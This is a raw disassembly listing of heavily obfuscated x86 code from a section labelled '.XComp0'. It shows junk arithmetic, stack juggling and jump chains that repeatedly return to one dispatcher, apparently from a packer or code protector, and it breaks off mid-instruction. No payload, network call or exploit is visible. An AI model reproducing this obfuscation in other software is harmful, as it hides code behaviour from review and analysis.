CODE XREF: .XComp0:005735B4j xor ebp, edx xor edx, ebp xor ebp, edx dec ebp xor ebp, 0A75DC69Bh push ecx mov ecx, 6519727Bh sub ebx, ecx jmp loc_57A42C ; --------------------------------------------------------------------------- loc_576523: ; CODE XREF: .XComp0:0057E5FDj pop esp jmp loc_57A75E ; --------------------------------------------------------------------------- loc_576529: ; CODE XREF: .XComp0:00582D4Ej add eax, 4 xchg eax, [esp] jmp loc_576918 ; --------------------------------------------------------------------------- loc_576536: ; CODE XREF: .XComp0:0057798Fj pop esp mov [esp], edx mov dl, 0E1h shr dl, 1 jmp loc_578910 ; --------------------------------------------------------------------------- loc_576543: ; CODE XREF: .XComp0:0057B2E2j push small 296Eh mov [esp], cx movzx cx, al push cx pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_576557: ; CODE XREF: .XComp0:00581B40j and edi, edx pop edx dec edi or edi, 324E6044h xor edi, 6FAE0E75h sub edi, 2FB1EC8h sub edx, edi pop edi add edx, edi jmp loc_578FB5 ; --------------------------------------------------------------------------- loc_576577: ; CODE XREF: .XComp0:0057A537j push dword ptr [esp] pop ecx jmp loc_583118 ; --------------------------------------------------------------------------- loc_576580: ; CODE XREF: .XComp0:00578DF7j mov ecx, [esp] jmp loc_580B3A ; --------------------------------------------------------------------------- loc_576588: ; CODE XREF: .XComp0:0057CB6Aj pop edi push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add esp, 4 add eax, 2 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov ax, [esp] push edx mov edx, esp push 1C0Dh mov [esp], ebx jmp loc_582741 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edi push esp mov edi, [esp] push ebp jmp loc_57CB42 ; --------------------------------------------------------------------------- loc_5765DC: ; CODE XREF: .XComp0:0057B1EBj add esi, 0EE949ADh mov edi, esi jmp loc_57AB07 ; --------------------------------------------------------------------------- loc_5765E9: ; CODE XREF: .XComp0:0057397Aj mov eax, esp jmp loc_5817E2 ; --------------------------------------------------------------------------- loc_5765F0: ; CODE XREF: .XComp0:0057E3CCj push 437h mov [esp], edi mov edi, 61124C03h jmp loc_580C97 ; --------------------------------------------------------------------------- loc_576602: ; CODE XREF: .XComp0:00581EE5j pop esp jmp loc_58172C ; --------------------------------------------------------------------------- loc_576608: ; CODE XREF: .XComp0:00577BCCj not bh mov dl, bh pop bx push ebx mov bl, dl xchg cl, bl not cl xor bl, cl xor cl, bl xor bl, cl mov dl, bl pop ebx xor dl, 18h add al, 67h add al, 1Ch add al, dl jmp loc_582AEC ; --------------------------------------------------------------------------- loc_57662C: ; CODE XREF: .XComp0:00578CD6j xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov cx, [esp] push 1C3Fh mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx jmp loc_57C529 ; --------------------------------------------------------------------------- loc_576654: ; CODE XREF: .XComp0:005794F3j mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp sub ebx, eax sub esp, 4 mov [esp], edx jmp loc_5784AC ; --------------------------------------------------------------------------- loc_57667D: ; CODE XREF: .XComp0:0057DF5Dj pop ebp add ebp, 4 jmp loc_57DBC0 ; --------------------------------------------------------------------------- loc_576689: ; CODE XREF: .XComp0:00582F68j shl ecx, 4 jmp loc_582D3F ; --------------------------------------------------------------------------- loc_576691: ; CODE XREF: .XComp0:0057E1CFj add edx, ecx pop ecx jmp loc_579DF3 ; --------------------------------------------------------------------------- loc_576699: ; CODE XREF: .XComp0:00579CEDj push edx mov edx, 27D27ED1h add edx, 68955978h or edx, 264C0429h shl edx, 5 shr edx, 2 jmp loc_57B74F ; --------------------------------------------------------------------------- loc_5766B6: ; CODE XREF: .XComp0:00573E0Ej not edx xor edx, 4F3BBA7Fh push ecx push edx pop ecx mov esi, ecx jmp loc_57CB10 ; --------------------------------------------------------------------------- loc_5766C8: ; CODE XREF: .XComp0:005751DBj pop ebx jmp loc_582212 ; --------------------------------------------------------------------------- loc_5766CE: ; CODE XREF: .XComp0:00573FEAj add al, 6Bh sub al, bl push ecx push eax mov ah, 0D7h push ecx push ebx mov bl, 90h mov ch, 9Eh xor ch, bl pop ebx jmp loc_57C142 ; --------------------------------------------------------------------------- loc_5766E4: ; CODE XREF: .XComp0:0057C68Dj pop eax xchg ebp, [esp] pop esp pop ecx push 5A82h jmp loc_579DCA ; --------------------------------------------------------------------------- loc_5766F4: ; CODE XREF: .XComp0:00577E93j xor ebx, edx neg edx xor ebx, edx xor edx, ebx xor ebx, edx inc ebx neg ebx push edi mov edi, 88F6E80h xor edi, 42EC24E4h or ebx, edi pop edi sub ebx, 0FC311CABh jmp loc_5789DF ; --------------------------------------------------------------------------- loc_57671B: ; CODE XREF: .XComp0:0057C560j pop ebp sub ebx, edx pop edx sub ebx, 70575C50h and ebx, 44825CF0h neg ebx push esi mov esi, 48240D4h jmp loc_57E1B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_576738: ; CODE XREF: sub_5A47B5-27D67j sub ebx, 4 xchg ebx, [esp+22h+var_24+2] pop esp mov [esp+0], ecx push eax mov al, 0CAh jmp loc_57DBB3 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_57674A: ; CODE XREF: .XComp0:0057D41Ej neg ebx and ebx, 4EA25654h shr ebx, 7 inc ebx jmp loc_573E2A ; --------------------------------------------------------------------------- loc_57675B: ; CODE XREF: .XComp0:0057B17Ej add edi, 7AEC075Bh neg edi dec edi sub edi, 7E5A5FB9h jmp loc_57AE50 ; --------------------------------------------------------------------------- loc_57676F: ; CODE XREF: .XComp0:0057DF9Aj xor edx, 58AE2085h jmp loc_57B202 ; --------------------------------------------------------------------------- loc_57677A: ; CODE XREF: .XComp0:00578B04j xor ebp, 1AF8379Fh shr ebp, 7 shr ebp, 6 shl ebp, 5 jmp loc_578058 ; --------------------------------------------------------------------------- loc_57678E: ; CODE XREF: .XComp0:0057D0BDj shl dl, 4 add dl, 89h add dl, 35h add dl, 76h add bl, dl pop edx sub bl, al push ax jmp loc_57EC03 ; --------------------------------------------------------------------------- loc_5767A6: ; CODE XREF: .XComp0:00575668j mov ecx, 4C127E92h sub eax, 0DCA5F02h push ebx mov ebx, 25A5260Ch sub eax, ebx jmp loc_57F0C3 ; --------------------------------------------------------------------------- loc_5767BD: ; CODE XREF: .XComp0:0057C5C8j mov edx, 254B5D30h mov edi, edx pop edx jmp loc_57D9B1 ; --------------------------------------------------------------------------- loc_5767CA: ; CODE XREF: .XComp0:0057E0E1j pop eax add eax, 4 jmp loc_577E8B ; --------------------------------------------------------------------------- loc_5767D5: ; CODE XREF: .XComp0:00573C63j shr ecx, 1 jmp loc_582675 ; --------------------------------------------------------------------------- loc_5767DC: ; CODE XREF: .XComp0:00575FA6j push edi jmp loc_57DDC5 ; --------------------------------------------------------------------------- loc_5767E2: ; CODE XREF: .XComp0:0057504Fj mov [esp], ecx push 1BD9h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ecx sub esp, 4 jmp loc_5810D0 ; --------------------------------------------------------------------------- loc_5767FE: ; CODE XREF: .XComp0:00575110j not bl push ecx mov ch, bl mov al, ch pop ecx jmp loc_5749B6 ; --------------------------------------------------------------------------- loc_57680B: ; CODE XREF: .XComp0:0057D159j mov ecx, 4 add eax, ecx jmp loc_5750C0 ; --------------------------------------------------------------------------- loc_576817: ; CODE XREF: .XComp0:00582574j or esi, 3A7E389Fh not esi jmp loc_575CC3 ; --------------------------------------------------------------------------- loc_576824: ; CODE XREF: .XComp0:0057B74Aj add ecx, 4 jmp loc_57373E ; --------------------------------------------------------------------------- loc_57682F: ; CODE XREF: .XComp0:0057B789j push 466Ch jmp loc_580422 ; --------------------------------------------------------------------------- loc_576839: ; CODE XREF: .XComp0:00582397j mov ecx, [esp] push edi jmp loc_578111 ; --------------------------------------------------------------------------- loc_576842: ; CODE XREF: .XComp0:005773DAj add edi, ebp jmp loc_575609 ; --------------------------------------------------------------------------- loc_576849: ; CODE XREF: .XComp0:005740B5j not edi and edi, 3FEB4551h inc edi add edi, 5360D795h add eax, edi pop edi add eax, 61410D7Fh sub eax, edx push edx jmp loc_57F302 ; --------------------------------------------------------------------------- loc_576868: ; CODE XREF: .XComp0:0057B595j xor ecx, edx pop edx add edi, ecx pop ecx jmp loc_5793A4 ; --------------------------------------------------------------------------- loc_576873: ; CODE XREF: .XComp0:00576B3Ej pop edx push eax mov eax, 4 jmp loc_575898 ; --------------------------------------------------------------------------- loc_57687F: ; CODE XREF: .XComp0:0057F9A1j mov esi, 4 jmp loc_575BEA ; --------------------------------------------------------------------------- loc_576889: ; CODE XREF: .XComp0:0057C0C9j add edx, esi mov esi, [esp] sub esp, 4 mov [esp], ecx push esp pop ecx push 10DEh mov [esp], esi mov esi, 2EA854FAh shl esi, 8 xor esi, 151E107Eh push edx mov edx, 0EA66860h and edx, 2E020626h inc edx shl edx, 5 not edx not edx xor edx, 0CC2955DCh xor esi, edx pop edx add esi, 4EDC4482h jmp loc_57A59E ; --------------------------------------------------------------------------- loc_5768D4: ; CODE XREF: .XComp0:005742E3j mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5795D3 ; --------------------------------------------------------------------------- loc_5768E9: ; CODE XREF: .XComp0:0057E7DFj neg eax and eax, 8CE6385h neg eax and eax, 686F04F3h inc eax jmp loc_573BA8 ; --------------------------------------------------------------------------- loc_5768FD: ; CODE XREF: .XComp0:0057EE5Dj pop ecx sub al, 3Ch add al, bh add al, 3Ch push dword ptr [esp] mov ebx, [esp] add esp, 4 push esi mov esi, esp jmp loc_5797D0 ; --------------------------------------------------------------------------- loc_576918: ; CODE XREF: .XComp0:00576531j mov esp, [esp] push 5B9Fh mov [esp], edx mov edx, 2 add esi, edx mov edx, [esp] push ebx mov ebx, esp jmp loc_579A81 ; --------------------------------------------------------------------------- loc_576935: ; CODE XREF: .XComp0:00574777j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_5787C7 ; --------------------------------------------------------------------------- loc_57694B: ; CODE XREF: .XComp0:00575499j add esp, 4 mov edx, edi push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_5741A2 ; --------------------------------------------------------------------------- lodsd push edi push ebx push eax push 64B80A86h pop eax xor eax, 55FB5656h mov ebx, eax pop eax mov edi, 5FBBB704h sub edi, ebx pop ebx jmp loc_57B01C ; --------------------------------------------------------------------------- loc_57698B: ; CODE XREF: .XComp0:0057F406j pop dword ptr [esp] pop esp shr ecx, 0 jmp loc_57E3F2 ; --------------------------------------------------------------------------- loc_576997: ; CODE XREF: .XComp0:00582C4Ej mov esi, 62AF3582h shl esi, 2 shr esi, 1 neg esi push edi mov edi, 0AC21B43h shl edi, 5 dec edi jmp loc_578E64 ; --------------------------------------------------------------------------- loc_5769B2: ; CODE XREF: .XComp0:0057ACF9j pop ecx shl ebx, 2 sub esp, 4 mov [esp], edi push esi mov esi, 0DBF03BAh mov edi, 62662057h sub edi, esi pop esi not edi inc edi push ebp mov ebp, 5BA429E2h xor edi, ebp pop ebp shr edi, 6 xor edi, 2C2B284Dh push edx mov edx, 32AE87DEh add edi, edx pop edx jmp loc_57700E ; --------------------------------------------------------------------------- loc_5769F0: ; CODE XREF: .XComp0:00577433j add esi, 4156776h add esi, 1B966B96h sub esi, 667378B4h shr esi, 3 xor esi, 7FFC6DDFh push edx mov edx, 27B91010h jmp loc_582907 ; --------------------------------------------------------------------------- loc_576A16: ; CODE XREF: .XComp0:0057F836j push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] pop esp jmp loc_5789F0 ; --------------------------------------------------------------------------- loc_576A2B: ; CODE XREF: .XComp0:00578D61j pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] imul ecx jmp loc_575C66 ; --------------------------------------------------------------------------- loc_576A4E: ; CODE XREF: .XComp0:0057534Ej xchg esi, [esp] jmp loc_57E305 ; --------------------------------------------------------------------------- loc_576A56: ; CODE XREF: .XComp0:00583077j add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp ror byte ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_576A7F: ; CODE XREF: .XComp0:0057FD29j mov ecx, esp add ecx, 4 push ebx mov ebx, 3AB97915h and ebx, 407B0F96h jmp loc_57C873 ; --------------------------------------------------------------------------- loc_576A98: ; CODE XREF: .XComp0:0057BE71j pop ebx add esp, 4 jmp loc_573541 ; --------------------------------------------------------------------------- loc_576AA4: ; CODE XREF: .XComp0:00574232j sub [esp], al pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_576AAD: ; CODE XREF: .XComp0:00579C7Dj push edi push ecx mov ecx, 6F2310D7h xor ecx, 6AD029CAh jmp loc_57778E ; --------------------------------------------------------------------------- loc_576ABF: ; CODE XREF: .XComp0:00576E8Fj push 1361h mov [esp], ecx mov cl, 86h mov bh, 0EEh sub bh, 32h jmp loc_580291 ; --------------------------------------------------------------------------- loc_576AD3: ; CODE XREF: .XComp0:00573625j sub esp, 4 mov [esp], ebx jmp loc_576171 ; --------------------------------------------------------------------------- loc_576ADE: ; CODE XREF: .XComp0:005804E0j mov ebp, 36086560h add [eax], ebp jmp loc_57D2E3 ; --------------------------------------------------------------------------- loc_576AEA: ; CODE XREF: .XComp0:00582A90j add esp, 2 push di jmp loc_57E59D ; --------------------------------------------------------------------------- loc_576AF4: ; CODE XREF: .XComp0:00576F21j mov [esp], esi push 46E625A6h pop esi sub esi, 0FFFFFFFFh jmp loc_58046B ; --------------------------------------------------------------------------- loc_576B08: ; CODE XREF: .XComp0:005786B9j mov edx, [esp] add esp, 4 add al, 0C4h mov bx, [esp] add esp, 2 xor bl, al jmp loc_5831CE ; --------------------------------------------------------------------------- loc_576B21: ; CODE XREF: .XComp0:0057D3F3j mov edx, 60012C5Ah jmp loc_57EFDF ; --------------------------------------------------------------------------- loc_576B2B: ; CODE XREF: .XComp0:0058330Bj sub cl, 82h jmp loc_578EB3 ; --------------------------------------------------------------------------- loc_576B33: ; CODE XREF: .XComp0:00578B25j shl edx, 4 add edx, 30FC3E4h add ebp, edx jmp loc_576873 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_579CD0 ; --------------------------------------------------------------------------- loc_576B4C: ; CODE XREF: .XComp0:00578EC2j push edi mov edi, 691C088Fh xor edi, 331850E1h or edi, 2F5E114Fh dec edi or edi, 33504E33h sub edi, 7F5E5F7Bh add ebx, edi pop edi jmp loc_57583C ; --------------------------------------------------------------------------- loc_576B73: ; CODE XREF: .XComp0:0057D71Ej add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] push eax jmp loc_581D7E ; --------------------------------------------------------------------------- loc_576B8B: ; CODE XREF: .XComp0:00577931j push dword ptr [esp+4] jmp loc_578B09 ; --------------------------------------------------------------------------- loc_576B94: ; CODE XREF: .XComp0:0058077Bj xor eax, ebx push ebx push 59EBh jmp loc_57EEF7 ; --------------------------------------------------------------------------- loc_576BA1: ; CODE XREF: .XComp0:00580305j push cx push 269h mov [esp], ebx jmp loc_580AA1 ; --------------------------------------------------------------------------- loc_576BB0: ; CODE XREF: .XComp0:0057E198j neg eax push ebx mov ebx, 31C772A2h sub eax, ebx jmp loc_574725 ; --------------------------------------------------------------------------- loc_576BBF: ; CODE XREF: .XComp0:0058322Aj sub dword ptr [esp+4], 4E6B319Ah add [esp+4], ecx push esi mov esi, 4E6B319Ah add [esp+8], esi pop esi pop ecx jmp loc_58349E ; --------------------------------------------------------------------------- loc_576BDC: ; CODE XREF: .XComp0:0057BCD2j sub ecx, ebp pop ebp xor esi, ecx pop ecx dec esi push 3F60h mov [esp], ebx mov ebx, 7DD0E76h or ebx, 6AC37CB5h jmp loc_57F0AB ; --------------------------------------------------------------------------- loc_576BFB: ; CODE XREF: .XComp0:0057AA9Bj shl dl, 8 add dl, 0AEh sub bl, dl jmp loc_57F4CC ; --------------------------------------------------------------------------- loc_576C08: ; CODE XREF: .XComp0:00581927j add esp, 4 jmp loc_57DE74 ; --------------------------------------------------------------------------- loc_576C13: ; CODE XREF: .XComp0:00577A6Cj sub eax, edx jmp loc_581659 ; --------------------------------------------------------------------------- loc_576C1A: ; CODE XREF: .XComp0:00580239j sub esp, 4 mov [esp], eax jmp loc_57D9F4 ; --------------------------------------------------------------------------- loc_576C28: ; CODE XREF: .XComp0:005758F1j add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_57C084 ; --------------------------------------------------------------------------- loc_576C39: ; CODE XREF: .XComp0:00575287j push ecx mov ecx, 755B0284h mov ebp, 4C3D7036h xor ebp, ecx pop ecx jmp loc_5757CA ; --------------------------------------------------------------------------- loc_576C4C: ; CODE XREF: .XComp0:00580095j sub eax, 315C7ACAh add eax, edx push ebp jmp loc_57AA73 ; --------------------------------------------------------------------------- loc_576C59: ; CODE XREF: .XComp0:0057AE64j mov edi, 672A7CD9h add [esp+4], edi jmp loc_580EEC ; --------------------------------------------------------------------------- loc_576C67: ; CODE XREF: .XComp0:00574022j pop eax jmp loc_57B735 ; --------------------------------------------------------------------------- loc_576C6D: ; CODE XREF: .XComp0:00578BA1j mov [esp], edx xor [esp], eax jmp loc_574399 ; --------------------------------------------------------------------------- loc_576C78: ; CODE XREF: .XComp0:0057647Bj mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_57DBE2 ; --------------------------------------------------------------------------- loc_576C91: ; CODE XREF: .XComp0:0057E37Aj inc esi shr esi, 8 or esi, 27BF23C7h dec esi sub esi, 5EF3BD0Dh add edi, 639372BAh add edi, esi jmp loc_57DBA1 ; --------------------------------------------------------------------------- loc_576CAF: ; CODE XREF: .XComp0:00575E87j mov eax, 8FD28D5h or eax, 727A3962h jmp loc_579871 ; --------------------------------------------------------------------------- loc_576CBE: ; CODE XREF: .XComp0:0057BA1Dj or ebx, 3F516892h push edx mov edx, 40E54D93h push ebp mov ebp, 40F1E4DCh jmp loc_58096C ; --------------------------------------------------------------------------- loc_576CD5: ; CODE XREF: .XComp0:0057CD0Fj push esp pop ebp push ecx mov ecx, 904124Dh jmp loc_575C2C ; --------------------------------------------------------------------------- loc_576CE2: ; CODE XREF: .XComp0:0057B14Bj cmp eax, edx jz loc_574A20 push 76ACh mov [esp], ecx mov ecx, 4ADC1727h push ebp mov ebp, ecx jmp loc_57FBD6 ; --------------------------------------------------------------------------- loc_576CFF: ; CODE XREF: .XComp0:0057DA19j add ebp, eax pop eax push eax push 664C1AF5h jmp loc_57761D ; --------------------------------------------------------------------------- loc_576D0D: ; CODE XREF: .XComp0:005773EFj push edx push 4 pop edx add eax, edx push dword ptr [esp] pop edx add esp, 4 push edx jmp loc_57F174 ; --------------------------------------------------------------------------- loc_576D23: ; CODE XREF: .XComp0:0057C7C5j sub eax, 36F01F05h sub eax, 65087B96h push dword ptr [esp] pop edx add esp, 4 add eax, 2 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_57E23B ; --------------------------------------------------------------------------- loc_576D4A: ; CODE XREF: .XComp0:00579AC0j push esi jmp loc_57C534 ; --------------------------------------------------------------------------- loc_576D50: ; CODE XREF: .XComp0:0057FC47j sub eax, 7465368h pop edi sub eax, edx jmp loc_57E2E6 ; --------------------------------------------------------------------------- loc_576D5D: ; CODE XREF: .XComp0:00581F42j push 50B9h jmp loc_5773EA ; --------------------------------------------------------------------------- loc_576D67: ; CODE XREF: .XComp0:00579217j push 4F46h mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] and [esp], ax pushf jmp loc_57E51E ; --------------------------------------------------------------------------- loc_576D84: ; CODE XREF: .XComp0:0057F524j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_5828C1 ; --------------------------------------------------------------------------- mov ax, [esp] push 5EDAh mov [esp], esi jmp loc_58211F ; --------------------------------------------------------------------------- loc_576DA4: ; CODE XREF: .XComp0:00577A49j pop edi sub edx, 4 xchg edx, [esp] jmp loc_57BFEC ; --------------------------------------------------------------------------- loc_576DB0: ; CODE XREF: .XComp0:00578F0Cj not ch jmp loc_578532 ; --------------------------------------------------------------------------- loc_576DB7: ; CODE XREF: .XComp0:0057A50Dj xor edx, 4932611Ah or edx, 0A4E59D9h add edx, 0F4308627h add ebp, edx pop edx add ebp, 4 xor ebp, [esp] jmp loc_574F23 ; --------------------------------------------------------------------------- loc_576DDA: ; CODE XREF: .XComp0:00579AF3j add ebp, 57611114h mov eax, ebp jmp loc_5758D3 ; --------------------------------------------------------------------------- loc_576DE7: ; CODE XREF: .XComp0:0057542Aj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_57D90D ; --------------------------------------------------------------------------- loc_576E0D: ; CODE XREF: .XComp0:005824F1j add esp, 4 push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_5834C6 ; --------------------------------------------------------------------------- loc_576E24: ; CODE XREF: .XComp0:0058192Ej add dl, 9 add dl, al sub dl, 9 pop ax add dl, 0C5h sub al, dl mov edx, [esp] push ebp jmp loc_574F85 ; --------------------------------------------------------------------------- loc_576E3C: ; CODE XREF: .XComp0:0057BCF2j mov ebx, esp add ebx, 4 push ebp push 4 pop ebp add ebx, ebp pop ebp push ebx push dword ptr [esp+4] jmp loc_580BF0 ; --------------------------------------------------------------------------- loc_576E58: ; CODE XREF: .XComp0:0057A049j push edx mov edx, 4 add ebx, edx mov edx, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5826BD ; --------------------------------------------------------------------------- loc_576E77: ; CODE XREF: .XComp0:0057D272j add esp, 4 push dword ptr [esp] jmp loc_581A73 ; --------------------------------------------------------------------------- loc_576E85: ; CODE XREF: .XComp0:00573AB7j pop eax sub esp, 4 jmp loc_57AE5B ; --------------------------------------------------------------------------- loc_576E8E: ; CODE XREF: .XComp0:00580F75j push ebx jmp loc_576ABF ; --------------------------------------------------------------------------- loc_576E94: ; CODE XREF: .XComp0:0057B53Bj add al, 49h jmp loc_581FB2 ; --------------------------------------------------------------------------- loc_576E9B: ; CODE XREF: .XComp0:0057CFE3j pop edi mov eax, ebp pop ebp add [esp+4], eax pop eax pop esi jmp loc_57BBC0 ; --------------------------------------------------------------------------- loc_576EAA: ; CODE XREF: .XComp0:0057EAD5j mov dx, [esp] push 77EFh mov [esp], edi push esp mov edi, [esp] jmp loc_57A81A ; --------------------------------------------------------------------------- loc_576EBF: ; CODE XREF: .XComp0:00577ABFj xor [esp], ebx jmp loc_578697 ; --------------------------------------------------------------------------- mov cx, [esp] push edx push esp pop edx push eax mov eax, 0D89776Ch or eax, 20522AC9h push 394Fh mov [esp], ebx mov ebx, 1B2F10C3h and eax, ebx jmp loc_578282 ; --------------------------------------------------------------------------- loc_576EED: ; CODE XREF: .XComp0:00575389j pop dword ptr [esp] mov esp, [esp] sub [esp], eax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_576EFC: ; CODE XREF: .XComp0:0057521Dj and edx, ebp pop ebp and edx, 27B125D7h sub edx, 90AC5Dh sub eax, edx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push 341Fh jmp loc_576AF4 ; --------------------------------------------------------------------------- loc_576F26: ; CODE XREF: .XComp0:00582A46j push ecx mov ecx, 6E601EB4h mov eax, ecx pop ecx sub edx, eax pop eax shl edx, 4 shl edx, 1 shr edx, 4 jmp loc_57BA22 ; --------------------------------------------------------------------------- loc_576F3F: ; CODE XREF: .XComp0:005782F6j add ebx, ecx jmp loc_583267 ; --------------------------------------------------------------------------- loc_576F46: ; CODE XREF: .XComp0:0057948Cj add edi, 2B2E6718h jmp loc_57E077 ; --------------------------------------------------------------------------- loc_576F51: ; CODE XREF: .XComp0:005799A1j sub esp, 4 mov [esp], ebx push eax mov eax, 4 push ecx mov ecx, eax mov ebx, ecx pop ecx pop eax jmp loc_5805B2 ; --------------------------------------------------------------------------- loc_576F6C: ; CODE XREF: .XComp0:005772C7j push ebx mov ebx, 2 add esi, ebx mov ebx, [esp] jmp loc_57A903 ; --------------------------------------------------------------------------- loc_576F7C: ; CODE XREF: .XComp0:00580894j pop edx jmp loc_579726 ; --------------------------------------------------------------------------- loc_576F82: ; CODE XREF: .XComp0:00579E75j push ecx jmp loc_57A956 ; --------------------------------------------------------------------------- loc_576F88: ; CODE XREF: .XComp0:0057EFD4j add ebp, eax sub esp, 4 mov [esp], esi push ecx jmp loc_577111 ; --------------------------------------------------------------------------- loc_576F96: ; CODE XREF: .XComp0:005810F2j sub esp, 4 mov [esp], eax mov eax, 740234CDh and eax, 74EF0DD5h dec eax and eax, 1ECE01A9h sub eax, 60E246BAh sub eax, 9A0D7689h sub edi, eax pop eax xor edi, 47D04766h sub esi, edi pop edi xchg esi, [esp] mov esp, [esp] sub esp, 4 jmp loc_575320 ; --------------------------------------------------------------------------- loc_576FD6: ; CODE XREF: .XComp0:005795F6j push edi jmp loc_5799D2 ; --------------------------------------------------------------------------- loc_576FDC: ; CODE XREF: .XComp0:0057C478j push eax mov eax, 3B4C629Ch jmp loc_582F8B ; --------------------------------------------------------------------------- loc_576FE7: ; CODE XREF: .XComp0:00578954j pop edx sub esi, 15FD75CAh pop edi xchg esi, [esp] pop esp mov ecx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp push 5D49h mov [esp], edi jmp loc_57833E ; --------------------------------------------------------------------------- loc_57700E: ; CODE XREF: .XComp0:005769EBj and ebx, edi jmp loc_57B7F6 ; --------------------------------------------------------------------------- loc_577015: ; CODE XREF: .XComp0:0057FB20j xor [esp], eax xor eax, [esp] mov esp, [esp] imul ecx, eax jmp loc_5782FB ; --------------------------------------------------------------------------- loc_577026: ; CODE XREF: .XComp0:00581716j mov eax, 612F274Bh add eax, 6625185Bh not eax jmp loc_57815D ; --------------------------------------------------------------------------- loc_577037: ; CODE XREF: .XComp0:0057450Ej xor esi, 0C4BDC791h add edx, esi pop esi add edx, 4 xchg edx, [esp] pop esp xor ebp, [esp] jmp loc_579075 ; --------------------------------------------------------------------------- loc_577052: ; CODE XREF: .XComp0:0057C02Dj add eax, esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi mov edi, 18F054EEh xchg ebp, edi jmp loc_578037 ; --------------------------------------------------------------------------- loc_577076: ; CODE XREF: .XComp0:0057E40Dj add edi, 0FFFFFFFFh xor edi, 4F7640FDh xor edi, 146973BFh jmp loc_57D1CC ; --------------------------------------------------------------------------- loc_57708A: ; CODE XREF: .XComp0:00579EF9j sub ebx, 44291F1Ah add ebx, 6B262D9Bh pop eax push ecx mov ecx, 0 jmp loc_57F5D2 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] push ecx jmp loc_57F2FB ; --------------------------------------------------------------------------- loc_5770AE: ; CODE XREF: .XComp0:0057D062j sub esp, 4 mov [esp], ecx mov ecx, 1AF65CDAh push 3B75h mov [esp], ecx mov edi, [esp] add esp, 4 mov ecx, [esp] add esp, 4 and edi, 0F433592h sub edi, 0F908FEAAh sub esi, edi mov edi, [esp] add esp, 4 jmp loc_575275 ; --------------------------------------------------------------------------- loc_5770E6: ; CODE XREF: .XComp0:0057E929j pop edi add edi, 4 push ebp mov ebp, 71207538h not ebp xor ebp, 8EC06F7h jmp loc_577E09 ; --------------------------------------------------------------------------- loc_577100: ; CODE XREF: .XComp0:0057C3FCj add esp, [edx+38h] push 3ADBh mov [esp], edx push esi jmp loc_57EDC9 ; --------------------------------------------------------------------------- loc_577111: ; CODE XREF: .XComp0:00576F91j mov ecx, 66CF2ABBh dec ecx push ebx mov ebx, 6BE66067h xor ecx, ebx pop ebx mov esi, ecx pop ecx sub ebp, esi pop esi mov eax, [esp] jmp loc_57F055 ; --------------------------------------------------------------------------- loc_57712E: ; CODE XREF: .XComp0:0057E402j push ebx push esi jmp loc_580E43 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_577144: ; CODE XREF: .XComp0:0057735Ej add edx, 0B49CCA14h sub eax, edx mov edx, [esp] add esp, 4 push edi mov edi, 78150C45h jmp loc_57AA4F ; --------------------------------------------------------------------------- loc_57715D: ; CODE XREF: .XComp0:005775C6j sub esp, 4 mov [esp], edi mov edi, 1 jmp loc_5798A1 ; --------------------------------------------------------------------------- loc_577170: ; CODE XREF: .XComp0:0057EDA5j mov [esp], ebx mov ebx, 0D544C0h mov eax, 0DFC6EDC0h xor eax, ebx pop ebx add eax, 40AF1A22h add eax, ebx jmp loc_5815D2 ; --------------------------------------------------------------------------- loc_57718C: ; CODE XREF: .XComp0:0057912Bj pop esp jmp loc_57B2D6 ; --------------------------------------------------------------------------- loc_577192: ; CODE XREF: .XComp0:005771E8j add esp, 4 jmp loc_579ABA ; --------------------------------------------------------------------------- loc_57719A: ; CODE XREF: .XComp0:005785C5j mov eax, 7DC27081h sub eax, 5E15596h and eax, 416C54BEh xchg eax, ebp not ebp xchg eax, ebp neg eax push edx mov edx, 7A4B50DBh jmp loc_58309D ; --------------------------------------------------------------------------- loc_5771BA: ; CODE XREF: .XComp0:005776E4j pop edx neg esi not esi jmp 